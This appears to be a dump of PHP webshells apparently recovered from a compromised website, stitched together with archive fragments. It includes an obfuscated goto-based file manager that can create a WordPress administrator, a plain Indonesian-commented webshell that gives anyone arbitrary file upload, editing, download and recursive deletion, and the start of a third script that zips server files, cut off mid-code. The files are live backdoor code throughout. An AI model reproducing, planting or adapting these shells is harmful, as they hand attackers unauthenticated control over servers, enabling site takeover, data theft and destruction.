Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PK �Um\�K�V� � dr80q.phpnu �[��� <?php
session_start();
// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
die("Direktori tidak ditemukan.");
}
function deleteDir($dirPath) {
if (!is_dir($dirPath)) return unlink($dirPath);
foreach (scandir($dirPath) as $item) {
if ($item === '.' || $item === '..') continue;
deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
}
return rmdir($dirPath);
}
// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
$old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
$new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
if (file_exists($old)) rename($old, $new);
}
// Hapus
if (isset($_GET['delete'])) {
$target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
if (strpos($target, $currentDir) === 0 || file_exists($target)) {
deleteDir($target);
}
header("Location: ?path=" . urlencode($currentDir));
exit;
}
// Download
if (isset($_GET['download'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
if (is_file($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
// View/Edit
if (isset($_GET['view'])) {
$file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($file)) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($file, $_POST['content']);
echo "<p>File disimpan.</p>";
}
$content = htmlspecialchars(file_get_contents($file));
echo "<h3>Edit: ".basename($file)."</h3>";
echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
exit;
}
}
// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
$tmpName = $_FILES['upload']['tmp_name'];
$name = basename($_FILES['upload']['name']);
move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
header("Location: ?path=" . urlencode($currentDir));
exit;
}
$items = scandir($currentDir);
?>
<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload" required>
<button type="submit">Unggah</button>
</form>
<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
if ($item === '.' || $item === '..') continue;
$path = $currentDir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($path);
?>
<tr>
<td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
<td>
<?php if (!$isDir): ?>
<a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
<a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
<?php endif; ?>
<a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
</td>
<td>
<form method="post" style="display:inline;">
<input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
<input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
<button type="submit" name="rename">Ubah</button>
</form>
</td>
</tr>
<?php endforeach; ?>
</table>
<style>
body { font-family: sans-serif; }
table { border-collapse: collapse; width: 100%; }
td, th { padding: 5px; text-align: left; }
</style>PK �Um\�rf:/ :/ qavgy.phpnu �[��� <?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);
// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) $dirs[] = $item;
else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);
// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
set_time_limit(0);
$timestamp = time();
$zipFileName = 'selected_' . $timestamp . '.zip';
$zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;
$zip = new ZipArchive();
if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
foreach ($_POST['selected_items'] as $item) {
$path = realpath($item);
if (!$path || !file_exists($path)) continue;
if (is_file($path)) {
$zip->addFile($path, basename($path));
} elseif (is_dir($path)) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($iterator as $file) {
$filePath = $file->getRealPath();
